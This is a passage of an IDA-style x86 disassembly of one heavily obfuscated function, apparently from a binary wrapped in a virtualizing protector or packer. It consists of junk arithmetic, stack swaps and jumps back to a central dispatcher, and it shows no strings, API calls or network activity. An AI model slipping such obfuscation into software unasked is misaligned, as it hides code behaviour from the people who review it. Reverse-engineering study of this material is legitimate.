		jmp	loc_5884FB
; ---------------------------------------------------------------------------


loc_58FCFC:				; CODE XREF: sub_581EE9+6950j
		push	ebp
		mov	ebp, 4
		jmp	loc_58652B
; ---------------------------------------------------------------------------


loc_58FD07:				; CODE XREF: sub_581EE9+BC2Dj
		mov	ebx, esi
		pop	esi
		xor	ebx, 0DD79E133h
		push	ecx
		mov	ecx, 1D178D1h
		add	ecx, 2EB76A7Dh
		shl	ecx, 3
		or	ecx, 0F583561h
		jmp	loc_58E2EF
; ---------------------------------------------------------------------------


loc_58FD2A:				; CODE XREF: sub_581EE9+5598j
		mov	esp, [esp-6ED2h+arg_6ECA]
		movsx	ecx, ax
		push	6C50h
		jmp	loc_58B794
; ---------------------------------------------------------------------------


loc_58FD3A:				; CODE XREF: sub_581EE9+5B4Fj
		push	ebx
		push	[esp-6EC6h+arg_6EC2]
		mov	ebx, [esp-6EC2h+arg_6EBA]
		add	esp, 4
		pop	[esp-6EC6h+arg_6EBE]
		jmp	loc_586FF8
; ---------------------------------------------------------------------------


loc_58FD4D:				; CODE XREF: sub_581EE9+98F1j
		shl	edx, 1
		push	eax
		jmp	loc_588872
; ---------------------------------------------------------------------------


loc_58FD55:				; CODE XREF: sub_581EE9+BAF0j
		mov	ebx, 4DE65BE4h
		jmp	loc_58ACE2
; ---------------------------------------------------------------------------


loc_58FD5F:				; CODE XREF: sub_581EE9+9A15j
		pop	ebx
		add	edx, ebx
		sub	edx, 1297662Ch
		push	dword ptr [edx]
		add	[esp-6E8Eh+arg_6E84+2],	4E403075h
		mov	eax, [esp-6E8Eh+arg_6E84+2]
		jmp	loc_58C40A
; ---------------------------------------------------------------------------


loc_58FD79:				; CODE XREF: sub_581EE9+E5CCj
		mov	ebp, 4
		add	eax, ebp
		mov	ebp, [esp-6E8Eh+arg_6E84+2]
		add	esp, 4
		push	ebp
		mov	ebp, 4
		add	eax, ebp
		mov	ebp, [esp-6E8Eh+arg_6E84+2]
		add	esp, 4
		push	13BCh
		mov	[esp-6E8Eh+arg_6E84+2],	eax
		push	[esp-6E8Eh+arg_6E8A]
		pop	eax
		pop	[esp-6E8Eh+arg_6E84+2]
		jmp	loc_5873AE
; ---------------------------------------------------------------------------


loc_58FDAC:				; CODE XREF: sub_581EE9+6883j
		mov	edx, esp
		add	edx, 4
		sub	edx, 4
		xchg	edx, [esp-6EC0h+arg_6EB6+2]
		mov	esp, [esp-6EC0h+arg_6EB6+2]
		mov	[esp-6EC0h+arg_6EB6+2],	ecx
		mov	cl, ah
		mov	ah, byte ptr [esp-6EC0h+arg_6EBA+2]
		mov	byte ptr [esp-6EC0h+arg_6EBA+2], cl
		mov	ecx, [esp-6EC0h+arg_6EB6+2]
		add	esp, 4
		sub	esp, 4
		mov	[esp-6EC0h+arg_6EB6+2],	ebx
		jmp	loc_588D1A
; ---------------------------------------------------------------------------


loc_58FDE4:				; CODE XREF: sub_581EE9+F245j
		sub	esp, 4
		mov	[esp-6EBCh+arg_6EB2+2],	edi
		mov	edi, 32183A0Bh
		sub	edi, 6DC378D7h
		jmp	loc_589D5F
; ---------------------------------------------------------------------------


loc_58FDFA:				; CODE XREF: sub_581EE9+A506j
		add	ecx, 4
		xchg	ecx, [esp-6EFEh+arg_6EF6]
		pop	esp
		jmp	loc_58A21C
; ---------------------------------------------------------------------------


loc_58FE06:				; CODE XREF: sub_581EE9+B883j
		sub	ebx, 4
		xchg	ebx, [esp-6EF0h+arg_6EE8]
		pop	esp
		jmp	loc_590C0F
; ---------------------------------------------------------------------------


loc_58FE12:				; CODE XREF: sub_581EE9+7ACAj
		mov	bh, 7
		sub	bh, dh
		jmp	loc_58865C
; ---------------------------------------------------------------------------


loc_58FE1B:				; CODE XREF: sub_581EE9+445Ej
		sub	esi, 0F2C00EC0h
		add	ecx, esi
		jmp	loc_58D956
; ---------------------------------------------------------------------------


loc_58FE28:				; CODE XREF: sub_581EE9+8AD6j
		xor	edx, 13FD6E95h
		shr	edx, 7
		shr	edx, 4
		dec	edx
		shl	edx, 2
		jmp	loc_586A7A
; ---------------------------------------------------------------------------


loc_58FE3D:				; CODE XREF: sub_581EE9+E751j
		add	esp, 4
		add	ecx, 4
		jmp	loc_588550
; ---------------------------------------------------------------------------


loc_58FE4E:				; CODE XREF: sub_581EE9+CEF9j
		push	esp
		jmp	loc_58E586
; ---------------------------------------------------------------------------


loc_58FE54:				; CODE XREF: sub_581EE9+CB73j
		push	edi
		mov	di, 6980h
		dec	di
		neg	di
		jmp	loc_585F52
; ---------------------------------------------------------------------------


loc_58FE63:				; CODE XREF: sub_581EE9+7DC3j
		sub	ecx, 4
		xchg	ecx, [esp-6ED4h+arg_6ECA+2]
		mov	esp, [esp-6ED4h+arg_6ECA+2]
		jmp	loc_58B517
; ---------------------------------------------------------------------------


loc_58FE71:				; CODE XREF: sub_581EE9+92D5j
		push	[esp-6EC6h+arg_6EC2]
		jmp	loc_58AD01
; ---------------------------------------------------------------------------


loc_58FE7A:				; CODE XREF: sub_581EE9+9FD7j
		mov	ecx, esp
		add	ecx, 4
		jmp	loc_5869F8
; ---------------------------------------------------------------------------


loc_58FE87:				; DATA XREF: sub_581EE9+3D3Bo
		mov	eax, [esp-6E88h+arg_6E80]
		push	ebp
		jmp	loc_58C69C
; ---------------------------------------------------------------------------


loc_58FE90:				; CODE XREF: sub_581EE9+A113j
		xor	ebx, edi
		pop	edi
		mov	edx, ebx
		pop	ebx
		add	edx, 7D0442C2h
		add	edx, eax
		sub	edx, 7D0442C2h
		push	ecx
		mov	ecx, 0
		jmp	loc_587DC1
; ---------------------------------------------------------------------------


loc_58FEAF:				; CODE XREF: sub_581EE9+813Ej
		mov	eax, edx
		pop	edx
		jmp	loc_58AFDA
; ---------------------------------------------------------------------------


loc_58FEB7:				; CODE XREF: sub_581EE9+AC67j
		pop	esp
		push	ebp
		push	esp
		pop	ebp
		add	ebp, 4
		sub	ebp, 4
		jmp	loc_589987
; ---------------------------------------------------------------------------


loc_58FECC:				; CODE XREF: sub_581EE9+8B43j
		add	ecx, 4
		jmp	loc_5900D5
; ---------------------------------------------------------------------------


loc_58FED7:				; CODE XREF: sub_581EE9+D5D9j
		push	esi
		push	esp
		mov	esi, [esp+0]
		add	esp, 4
		push	ebp
		mov	ebp, 4
		jmp	loc_58F322
; ---------------------------------------------------------------------------


loc_58FEEA:				; CODE XREF: sub_581EE9+7B05j
		push	esp
		jmp	loc_5879F4
; ---------------------------------------------------------------------------


loc_58FEF0:				; CODE XREF: sub_581EE9+B026j
		mov	edx, esp
		add	edx, 4
		jmp	loc_58725E
; ---------------------------------------------------------------------------


loc_58FEFD:				; CODE XREF: sub_581EE9+FD50j
		pop	ebx
		xor	[esp-6EDCh+arg_6ED6+2],	esi
		jmp	loc_58B7F2
; ---------------------------------------------------------------------------


loc_58FF07:				; CODE XREF: sub_581EE9+A0DFj
		pop	ebx
		add	esp, 4
		push	1719h
		mov	[esp-6F0Eh+arg_6F06], ecx
		mov	ecx, 2F106956h
		add	ebx, ecx
		mov	ecx, [esp-6F0Eh+arg_6F06]
		add	esp, 4
		mov	dword ptr [edi+20h], 1EEF0543h
		push	3A3h
		jmp	loc_5870D6
; ---------------------------------------------------------------------------


loc_58FF37:				; DATA XREF: sub_581EE9+3D0Bo
		push	dword ptr [edi+1Ch]
		jmp	loc_5892F5
; ---------------------------------------------------------------------------


loc_58FF3F:				; CODE XREF: sub_581EE9+A7B5j
		add	ebp, 4
		add	ebp, 4
		push	28C9h
		mov	[esp-6EBCh+arg_6EB2+2],	ebp
		push	[esp-6EBCh+arg_6EB6+2]
		mov	ebp, [esp+0]
		push	esi
		push	16F5h
		jmp	loc_58D5C9
; ---------------------------------------------------------------------------


loc_58FF65:				; CODE XREF: sub_581EE9+66EEj
		pop	[esp-6ECEh+arg_6EC6]
		mov	esp, [esp-6ED2h+arg_6ECA]
		add	esp, 4
		jmp	loc_58ED03
; ---------------------------------------------------------------------------


loc_58FF76:				; CODE XREF: sub_581EE9+96C7j
		mov	[esp-6ECCh+arg_6EC2+2],	edx
		mov	edx, 2
		jmp	loc_588858
; ---------------------------------------------------------------------------


loc_58FF83:				; CODE XREF: sub_581EE9+B523j
		mov	edi, 4
		sub	ecx, edi
		pop	edi
		jmp	loc_59111F
; ---------------------------------------------------------------------------


loc_58FF90:				; CODE XREF: sub_581EE9+53F8j
		shr	edx, 8
		xor	edx, 1DF938h
		add	edi, edx
		pop	edx
		jmp	loc_591AB8
; ---------------------------------------------------------------------------


loc_58FFA1:				; CODE XREF: sub_581EE9+4F6Aj
		mov	cl, bh
		pop	ebx
		pop	edx
		not	cl
		push	small 3F6Eh
		mov	word ptr [esp-6EB6h+arg_6EAC+2], cx
		add	byte ptr [esp-6EB6h+arg_6EAC+2], 1
		jmp	loc_58ED89
; ---------------------------------------------------------------------------


loc_58FFB8:				; CODE XREF: sub_581EE9+58C9j
		xor	ebp, edx
		push	edx
		not	dword ptr [esp+0]
		pop	edx
		xchg	edx, ebp
		add	ebp, 6DCB56D7h
		jmp	loc_58773D
; ---------------------------------------------------------------------------


loc_58FFCC:				; CODE XREF: sub_581EE9+5353j
		pop	edi
		mov	esi, [esp-6EFEh+arg_6EF6]
		push	eax
		jmp	loc_58A586
; ---------------------------------------------------------------------------


loc_58FFD6:				; CODE XREF: sub_581EE9+5552j
		add	ecx, eax
		add	ecx, 4AEE5E4Eh
		jmp	loc_58AA0B
; ---------------------------------------------------------------------------


loc_58FFE3:				; CODE XREF: sub_581EE9+519Cj
		xchg	edi, [esp-6EF8h+arg_6EF0]
		pop	esp
		mov	[esp+0], ecx
		mov	ecx, 59E73F20h
		jmp	loc_58F697
; ---------------------------------------------------------------------------


loc_58FFF4:				; CODE XREF: sub_581EE9+E642j
		xor	edi, 0B22DBCE9h
		add	ebp, 3F127AC1h
		sub	ebp, 256A2417h
		add	ebp, edi
		add	ebp, 256A2417h
		sub	ebp, 3F127AC1h
		mov	edi, [esp+0]
		add	esp, 4
		xor	ebp, [esp-6F00h+arg_6EF6+2]
		xor	[esp-6F00h+arg_6EF6+2],	ebp
		xor	ebp, [esp-6F00h+arg_6EF6+2]
		jmp	loc_58E7E7
; ---------------------------------------------------------------------------


loc_59002B:				; CODE XREF: sub_581EE9+6DEEj
		or	ebx, ebp
		pop	ebp
		sub	ebx, 1
		xor	ebx, 2BE9523h
		jmp	loc_58A300
; ---------------------------------------------------------------------------


loc_59003F:				; CODE XREF: sub_581EE9+9862j
		mov	ch, 76h
		add	ch, 20h
		sub	ch, 0F8h
		or	bl, ch
		jmp	loc_586648
; ---------------------------------------------------------------------------


loc_59004E:				; CODE XREF: sub_581EE9+779Cj
		add	ecx, 4
		push	esi
		mov	esi, 4
		sub	ecx, esi
		pop	esi
		xchg	ecx, [esp+0]
		jmp	loc_58E5D3
; ---------------------------------------------------------------------------


loc_590065:				; CODE XREF: sub_581EE9+B430j
		add	ecx, 3A3E184Ah
		and	ecx, 0F27AF7h
		push	esi
		jmp	loc_58B558
; ---------------------------------------------------------------------------


loc_590077:				; CODE XREF: sub_581EE9+F94Ej
		add	esp, 4
		add	bl, al
		jmp	loc_5904A6
; ---------------------------------------------------------------------------


loc_590081:				; CODE XREF: sub_581EE9+6AF3j
		pop	ebx
		push	ecx
		jmp	loc_591015
; ---------------------------------------------------------------------------


loc_590088:				; CODE XREF: sub_581EE9+7C17j
		xor	edi, ecx
		pop	ecx
		or	edi, 76915C2Ah
		dec	edi
		add	edi, 882AA15Ah
		add	edx, edi
		pop	edi
		jmp	loc_590F1A
; ---------------------------------------------------------------------------


loc_5900A0:				; CODE XREF: sub_581EE9+A23Cj
		add	esi, 2475399Eh
		sub	eax, esi
		pop	esi
		jmp	loc_58C0BD
; ---------------------------------------------------------------------------


loc_5900AE:				; CODE XREF: sub_581EE9+83BBj
		mov	edx, 0C809FBC3h
		sub	ebp, edx
		pop	edx
		jmp	loc_5904F7
; ---------------------------------------------------------------------------


loc_5900BB:				; CODE XREF: sub_581EE9+8635j
		pop	eax
		add	esp, 4
		pop	ecx
		not	ecx
		xchg	eax, ecx
		push	ebp
		push	eax
		pop	ebp
		pop	eax
		xor	eax, ebp
		xor	ebp, eax
		xor	eax, ebp
		sub	esp, 4
		jmp	loc_591A68
; ---------------------------------------------------------------------------


loc_5900D5:				; CODE XREF: sub_581EE9+DFE9j
		xchg	ecx, [esp-6E94h+arg_6E8A+2]
		pop	esp
		pop	[esp-6E98h+arg_6E8E+2]
		pop	esp
		jmp	loc_585E00
; ---------------------------------------------------------------------------


loc_5900E2:				; CODE XREF: sub_581EE9+65AEj
		mov	ecx, 119C416Fh
		and	ecx, 3873E19h
		dec	ecx
		add	ecx, 1DC655DEh
		sub	ebx, ecx
		jmp	loc_58768F
; ---------------------------------------------------------------------------


loc_5900FB:				; CODE XREF: sub_581EE9+E46Aj
		push	78C0h
		jmp	loc_58D74D
; ---------------------------------------------------------------------------


loc_590105:				; CODE XREF: sub_581EE9+E4F8j
		push	edx
		push	855h
		mov	[esp-6EEEh+arg_6EE4+2],	ecx
		jmp	loc_58DD1D
; ---------------------------------------------------------------------------


loc_590113:				; CODE XREF: sub_581EE9+BB0Cj
		sub	eax, 37ABA8D4h
		push	ebx
		mov	ebx, 59D2743Eh
		sub	ebx, 59D548DEh
		jmp	loc_5914F7
; ---------------------------------------------------------------------------


loc_590129:				; CODE XREF: sub_581EE9+55A8j
		mov	esi, 4
		add	ecx, esi
		mov	esi, [esp-6EC6h+arg_6EBE]
		push	edi
		mov	edi, esp
		add	edi, 4
		jmp	loc_586562
; ---------------------------------------------------------------------------


loc_590141:				; CODE XREF: sub_581EE9+5F16j
		xor	ecx, 93678A6h
		sub	ecx, 9BA439CEh
		push	ebx
		push	eax
		push	4F5322EEh
		pop	eax
		and	eax, 2AC76A2Fh
		add	eax, 0F5BCDE02h
		mov	ebx, eax
		pop	eax
		add	ebx, edx
		mov	[ebx], ecx
		pop	ebx
		pop	ecx
		sub	[edx+30h], esi
		mov	esi, [esp-6EDEh+arg_6ED6]
		add	esp, 4
		popa
		popf
		jmp	locret_58AA75
; ---------------------------------------------------------------------------


loc_590178:				; CODE XREF: sub_581EE9+DBB2j
		add	ecx, 4
		xchg	ecx, [esp-6EC2h+arg_6EBA]
		pop	esp
		jmp	loc_586504
; ---------------------------------------------------------------------------


loc_590184:				; DATA XREF: sub_581EE9+3D8Fo
		push	[esp-6EC6h+arg_6EBE]
		jmp	loc_58AEDB
; ---------------------------------------------------------------------------


loc_59018C:				; CODE XREF: sub_581EE9+C18Ej
		mov	edx, 1D494276h
		push	esi
		jmp	loc_58BD60
; ---------------------------------------------------------------------------


loc_590197:				; CODE XREF: sub_581EE9+6A8Bj
		mov	edx, 3A320FCDh
		dec	edx
		shr	edx, 4
		sub	edx, 3A320FAh
		add	ecx, edx
		pop	edx
		xor	ecx, [esp-6F02h+arg_6EFA]
		xor	[esp-6F02h+arg_6EFA], ecx
		xor	ecx, [esp-6F02h+arg_6EFA]
		mov	esp, [esp-6F02h+arg_6EFA]
		rol	word ptr [esp-6F02h+arg_6EFA], cl
		pushf
		jmp	loc_585CC3
; ---------------------------------------------------------------------------


loc_5901BF:				; CODE XREF: sub_581EE9+7246j
		pop	dx
		xor	ch, 40h
		jmp	loc_58A044
; ---------------------------------------------------------------------------


loc_5901C9:				; CODE XREF: sub_581EE9+6646j
		mov	ecx, 5A3F746Ah
		xor	ecx, 5A3F746Eh
		add	ebx, ecx
		pop	ecx
		add	ebx, 4
		xchg	ebx, [esp-6EFEh+arg_6EF6]
		pop	esp
		push	edx
		mov	dl, 82h
		and	dl, 99h
		push	ebx
		mov	bh, 0FFh
		sub	dl, bh
		pop	ebx
		push	ebx
		mov	bh, 0CDh
		jmp	loc_58C21A
; ---------------------------------------------------------------------------
		lodsd
		push	ebx
		mov	ebx, esp
		jmp	loc_58CAE7
; ---------------------------------------------------------------------------


loc_5901FB:				; CODE XREF: sub_581EE9+B850j
		mov	edx, edi
		mov	edi, [esp-6E8Ch+arg_6E84]
		add	esp, 4
		pop	eax


loc_590207:				; CODE XREF: sub_581EE9+6AC1j
					; sub_581EE9+77A4j
		sub	esp, 4
		mov	[esp+0], ebx
		push	ebp
		jmp	loc_58AA37
; ---------------------------------------------------------------------------


loc_590216:				; CODE XREF: sub_581EE9+9AC0j
		push	5BA2h
		mov	[esp-6ECAh+arg_6EC2], esi
		push	ecx
		mov	ecx, 2
		mov	esi, ecx
		pop	ecx
		push	esi
		push	5314C48h
		pop	esi
		sub	edi, esi
		push	[esp-6EC6h+arg_6EBE]
		pop	esi
		add	esp, 4
		jmp	loc_586991
; ---------------------------------------------------------------------------


loc_59023C:				; CODE XREF: sub_581EE9+8D80j
		push	[esp-6ED6h+arg_6ED2]
		push	[esp-6ED2h+arg_6ECA]
		jmp	loc_589E6C
; ---------------------------------------------------------------------------


loc_590248:				; CODE XREF: sub_581EE9+FC14j
		pop	esp
		mov	ecx, [esp-6ED2h+arg_6ECA]
		push	15FEh
		mov	[esp-6ECEh+arg_6EC6], eax
		sub	esp, 4
		mov	[esp-6ECAh+arg_6EC2], esp
		add	[esp-6ECAh+arg_6EC2], 4
		jmp	loc_58D848
; ---------------------------------------------------------------------------


loc_590266:				; CODE XREF: sub_581EE9+CA0Cj
		push	ebp
		jmp	loc_588B86
; ---------------------------------------------------------------------------


loc_59026C:				; CODE XREF: sub_581EE9+C4D9j
		jmp	loc_585CC3
; ---------------------------------------------------------------------------


loc_590271:				; CODE XREF: sub_581EE9+A058j
		mov	edi, 0B5E1A80h
		sub	edx, edi
		pop	edi
		pop	ebp
		add	edx, 4
		jmp	loc_588534
; ---------------------------------------------------------------------------


loc_590285:				; CODE XREF: sub_581EE9+871Bj
		sub	ecx, 5AFC7064h
		sub	ecx, edi
		add	ecx, 5AFC7064h
		mov	edi, dword ptr [esp-6EAAh+arg_6EA2]
		jmp	loc_589E4E
; ---------------------------------------------------------------------------


loc_59029B:				; CODE XREF: sub_581EE9+8B1Dj
		sub	ebp, ebx
		pop	ebx
		pop	ecx
		push	ebp
		push	[esp-6EA0h+arg_6E9A+2]
		pop	ebp
		pop	[esp-6EA0h+arg_6E96+2]
		mov	esp, [esp-6EA4h+arg_6E9A+2]
		idiv	cx
		push	small 127Eh
		mov	word ptr [esp-6EA2h+arg_6E9A], dx
		push	ax
		pushf
		jmp	loc_585CC3
; ---------------------------------------------------------------------------


loc_5902BE:				; CODE XREF: sub_581EE9+CB27j
		shr	ebx, 6
		xor	ebx, 4F884E52h
		add	ebp, 53435DA1h
		add	ebp, ebx
		sub	ebp, 53435DA1h
		pop	ebx
		jmp	loc_58C8A4
; ---------------------------------------------------------------------------


loc_5902DB:				; DATA XREF: sub_581EE9+3C37o
		mov	ax, word ptr [esp-6EC0h+arg_6EB6+2]
		jmp	loc_588378
; ---------------------------------------------------------------------------


loc_5902E4:				; CODE XREF: sub_581EE9+D0D7j
		sub	ecx, 0AFE913A5h
		sub	ebx, ecx
		jmp	loc_58886B
; ---------------------------------------------------------------------------


loc_5902F1:				; CODE XREF: sub_581EE9+B448j
		push	edx
		jmp	loc_591ADA
; ---------------------------------------------------------------------------


loc_5902F7:				; CODE XREF: sub_581EE9+CA46j
		xor	edi, 64198825h
		push	ebx
		mov	ebx, 14A2007Ch
		add	ebp, ebx
		pop	ebx
		add	ebp, edi
		sub	ebp, 14A2007Ch
		pop	edi
		push	6BC6h
		mov	[esp-6EBEh+arg_6EB6], ebx
		jmp	loc_586D23
; ---------------------------------------------------------------------------


loc_59031C:				; CODE XREF: sub_581EE9+4392j
		xor	eax, edx
		pop	edx
		mov	edi, eax
		pop	eax
		and	eax, edi
		mov	edi, [esp-6ED2h+arg_6ECA]
		add	esp, 4
		shr	eax, 0Eh
		xor	eax, ecx
		push	ebp
		mov	ebp, esp
		jmp	loc_5894D1
; ---------------------------------------------------------------------------


loc_59033A:				; CODE XREF: sub_581EE9+71FBj
		add	esi, 6EA157F2h
		sub	esi, 122333BFh
		mov	edi, [esp-6EEEh+arg_6EE4+2]
		add	esp, 4
		xchg	esi, [esp-6EF2h+arg_6EE8+2]
		pop	esp
		mov	[esp-6EF6h+arg_6EEC+2],	edx
		jmp	loc_5900FB
; ---------------------------------------------------------------------------


loc_590358:				; CODE XREF: sub_581EE9+D2F9j
		shl	edi, 1
		jmp	loc_58C52F
; ---------------------------------------------------------------------------


loc_59035F:				; CODE XREF: sub_581EE9+F7CEj
		push	4C08h
		mov	[esp-6E7Ch+arg_6E72+2],	esi
		push	[esp-6E7Ch+arg_6E76+2]
		mov	esi, [esp-6E78h+arg_6E6E+2]
		add	esp, 4
		pop	[esp-6E7Ch+arg_6E72+2]
		jmp	loc_58BF4F
; ---------------------------------------------------------------------------


loc_59037C:				; CODE XREF: sub_581EE9+68FFj
		pop	ebp
		xor	eax, 66DC7320h
		add	eax, 0E3AEE45Ah
		sub	ebp, eax
		pop	eax
		pop	edi
		sub	eax, ebp
		mov	ebp, [esp-6EDCh+arg_6ED2+2]
		add	esp, 4
		push	ecx
		mov	ecx, 594627E6h
		sub	eax, ecx
		pop	ecx
		jmp	loc_585CC3
; ---------------------------------------------------------------------------


loc_5903A1:				; CODE XREF: sub_581EE9+8C43j
		pop	eax
		not	dh
		xor	dh, 50h
		push	0
		sub	byte ptr [esp-6ECEh+arg_6EC6], dh
		mov	dh, byte ptr [esp-6ECEh+arg_6EC6]
		add	esp, 4
		push	ebx
		push	ecx
		mov	cl, 0C8h
		shl	cl, 3
		add	cl, 49h
		add	cl, 9Fh
		mov	bl, cl
		pop	ecx
		jmp	loc_58B74A
; ---------------------------------------------------------------------------


loc_5903CA:				; CODE XREF: sub_581EE9+CFCAj
		or	ebx, 509766D4h
		push	edi
		push	0
		jmp	loc_58ABE0
; ---------------------------------------------------------------------------


loc_5903DB:				; CODE XREF: sub_581EE9+8CDFj
		xchg	edi, [esp-6ED2h+arg_6ECA]
		pop	esp
		or	eax, eax
		jz	loc_590105
		push	2973h
		mov	[esp-6ED2h+arg_6ECA], eax
		sub	esp, 4
		jmp	loc_58DCA1
; ---------------------------------------------------------------------------


loc_5903F7:				; CODE XREF: sub_581EE9+981Aj
		add	ebx, 4
		jmp	loc_585D20
; ---------------------------------------------------------------------------


loc_590402:				; CODE XREF: sub_581EE9+9F0Dj
		xor	[esp-6ECAh+arg_6EC2], esi
		xor	esi, [esp-6ECAh+arg_6EC2]
		jmp	loc_58C177
; ---------------------------------------------------------------------------


loc_59040D:				; CODE XREF: sub_581EE9+78A7j
		pop	esi
		jmp	loc_5893BD
; ---------------------------------------------------------------------------
off_590413	dd offset loc_596167+1	; DATA XREF: sub_581EE9+3C3Fo
		align 4
		dd 57242489h, 0FFDB4FE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_590421:				; CODE XREF: sub_581EE9+9BACj
		add	bl, 0DAh
		xor	al, bl
		pop	ebx
		sub	esp, 4
		jmp	loc_58A922
; ---------------------------------------------------------------------------


loc_59042F:				; CODE XREF: sub_581EE9+C5F2j
		mov	[esp-6ECEh+arg_6EC6], ecx
		mov	ecx, 62034137h
		sub	esp, 4
		mov	[esp-6ECAh+arg_6EC2], eax
		mov	eax, 62034136h
		push	edi
		mov	edi, eax
		mov	esi, edi
		jmp	loc_58B7B4
; ---------------------------------------------------------------------------


loc_59044F:				; CODE XREF: sub_581EE9+584Fj
		add	[esp-6EC6h+arg_6EBE], 4
		mov	esi, [esp-6EC6h+arg_6EBE]
		jmp	loc_590909
; ---------------------------------------------------------------------------


loc_59045E:				; CODE XREF: sub_581EE9+60E4j
		pop	esi
		pop	[esp-6ED6h+arg_6ECE]
		mov	esp, [esp-6EDAh+arg_6ED2]
		shl	[esp-6EDAh+arg_6ED2], cl
		pushf
		jmp	loc_585CC3
; ---------------------------------------------------------------------------


loc_59046E:				; CODE XREF: sub_581EE9+556Ej
		sub	al, 0F4h
		mov	cx, word ptr [esp-6EBEh+arg_6EB6]
		add	esp, 2
		jmp	loc_58EC01
; ---------------------------------------------------------------------------


loc_59047F:				; CODE XREF: sub_581EE9+5EB6j
		mov	ecx, 1CCB3F86h
		push	ebp
		mov	ebp, 23B12FA4h
		push	ecx
		mov	ecx, 0BF8390F2h
		mov	edx, ecx
		jmp	loc_58E035
; ---------------------------------------------------------------------------


loc_590497:				; CODE XREF: sub_581EE9+3E95j
		mov	[esp-6ED4h+arg_6ECA+2],	eax
		mov	eax, 8AF207B2h
		add	edi, eax
		jmp	loc_58A805
; ---------------------------------------------------------------------------


loc_5904A6:				; CODE XREF: sub_581EE9+E193j
		mov	ax, word ptr [esp-6EFEh+arg_6EF6]
		jmp	loc_5905D1
; ---------------------------------------------------------------------------


loc_5904AF:				; CODE XREF: sub_581EE9+4B5Bj
		mov	[esp-6EB6h+arg_6EAC+2],	eax
		mov	eax, esp
		push	ebp
		jmp	loc_58FD79
; ---------------------------------------------------------------------------


loc_5904BA:				; CODE XREF: sub_581EE9+6193j
		cmp	dword ptr [edi+20h], 0
		jz	loc_590DC5
		push	edx
		mov	edx, esp
		jmp	loc_5878B5
; ---------------------------------------------------------------------------


loc_5904CC:				; CODE XREF: sub_581EE9+700Aj
		push	ebx
		mov	ebx, 41770A3h
		shr	ebx, 6
		jmp	loc_58A3B1
; ---------------------------------------------------------------------------


loc_5904DA:				; CODE XREF: sub_581EE9+7228j
		mov	edx, esp
		jmp	loc_58B61D
; ---------------------------------------------------------------------------


loc_5904E1:				; CODE XREF: sub_581EE9+7356j
		add	al, 1
		shl	al, 2
		neg	al
		neg	al
		xor	al, 51h
		add	ch, al
		pop	eax
		sub	bl, 21h
		jmp	loc_58BA32
; ---------------------------------------------------------------------------


loc_5904F7:				; CODE XREF: sub_581EE9+E1CDj
		xor	esi, ebp
		pop	ebp
		add	ecx, esi
		jmp	loc_58A97A
; ---------------------------------------------------------------------------


loc_590501:				; CODE XREF: sub_581EE9+F7F5j
		push	eax
		jmp	loc_58F6B0
; ---------------------------------------------------------------------------


loc_590507:				; CODE XREF: sub_581EE9+511Fj
		sub	esp, 4
		mov	[esp-6EEEh+arg_6EE4+2],	eax
		mov	eax, 28986966h
		dec	eax
		shr	eax, 2
		shr	eax, 4
		dec	eax
		add	eax, 4785F4A2h
		or	edi, eax
		pop	eax
		xor	edi, 6D426B1Ch
		jmp	loc_58FFF4
; ---------------------------------------------------------------------------


loc_590530:				; CODE XREF: sub_581EE9+623Ej
		pop	esp
		jmp	loc_585E38
; ---------------------------------------------------------------------------


loc_590536:				; CODE XREF: sub_581EE9+6DA0j
		add	edi, edx
		pop	edx
		movzx	eax, al
		push	dword ptr [edi+eax*4]
		push	17A0h
		mov	[esp-6ED4h+arg_6ECA+2],	esi
		push	ebp
		push	2966584Dh
		pop	ebp
		dec	ebp
		add	ebp, 0D699ABB0h
		jmp	loc_585DF7
; ---------------------------------------------------------------------------


loc_59055A:				; CODE XREF: sub_581EE9+8288j
		mov	[esp-6ED0h+arg_6EC6+2],	ecx
		jmp	loc_58BD27
; ---------------------------------------------------------------------------


loc_590562:				; CODE XREF: sub_581EE9+6B96j
		add	bl, dl
		jmp	loc_588603
; ---------------------------------------------------------------------------


loc_590569:				; CODE XREF: sub_581EE9+ED59j
		push	6767h
		mov	[esp-6EDCh+arg_6ED2+2],	esi
		push	esp
		pop	esi
		add	esi, 4
		push	ebp
		push	ecx
		jmp	loc_58A634
; ---------------------------------------------------------------------------


loc_590580:				; CODE XREF: sub_581EE9+A74Dj
		xchg	edx, [esp-6EC6h+arg_6EBE]
		jmp	loc_588286
; ---------------------------------------------------------------------------


loc_590588:				; CODE XREF: sub_581EE9+F7EFj
		xor	ecx, 1417085Ah
		mov	eax, ecx
		jmp	loc_588BFA
; ---------------------------------------------------------------------------


loc_590595:				; CODE XREF: sub_581EE9+D14Bj
		add	ebx, 4
		jmp	loc_587A7E
; ---------------------------------------------------------------------------


loc_5905A0:				; CODE XREF: sub_581EE9+CEA4j
		add	esp, 2
		push	edx
		mov	dh, 5Fh
		not	dh
		or	dh, 55h
		and	dh, 0EDh
		jmp	loc_588E22
; ---------------------------------------------------------------------------


loc_5905B3:				; CODE XREF: sub_581EE9+44A8j
		jmp	loc_585CC3
; ---------------------------------------------------------------------------


loc_5905B8:				; CODE XREF: sub_581EE9+8D3Dj
		xor	esi, [esp-6EEEh+arg_6EE4+2]
		jmp	loc_5888CE
; ---------------------------------------------------------------------------


loc_5905C0:				; DATA XREF: sub_581EE9+3BC7o
		push	[esp-6EEEh+arg_6EE4+2]
		jmp	loc_58C4CB
; ---------------------------------------------------------------------------


loc_5905C8:				; CODE XREF: sub_581EE9+908Aj
		mov	edx, [esp-6EDEh+arg_6ED6]
		push	esi
		jmp	loc_5917C2
; ---------------------------------------------------------------------------


loc_5905D1:				; CODE XREF: sub_581EE9+E5C1j
		push	edi
		mov	edi, esp
		add	edi, 4
		jmp	loc_58ECB5
; ---------------------------------------------------------------------------


loc_5905DF:				; CODE XREF: sub_581EE9+A9B6j
		add	eax, ecx
		add	eax, 58C14D10h
		pop	ecx
		push	small word ptr [eax]
		jmp	loc_585CC3
; ---------------------------------------------------------------------------


loc_5905EF:				; CODE XREF: sub_581EE9+AFF6j
		neg	bl
		sub	bl, 0F4h
		and	al, bl
		pop	ebx
		shr	al, 8
		push	bx
		mov	bh, al
		not	bh
		jmp	loc_58A0C0
; ---------------------------------------------------------------------------


loc_590605:				; DATA XREF: sub_581EE9+3BCBo
		push	[esp-6EE6h+arg_6EDC+2]
		jmp	loc_591952
; ---------------------------------------------------------------------------


loc_59060D:				; DATA XREF: sub_581EE9+3C9Bo
		push	dword ptr [esp]
		pop	eax
		sub	esp, 4
		mov	[esp-6EDEh+arg_6ED6], edx
		push	esp
		pop	edx
		push	esi
		jmp	loc_588901
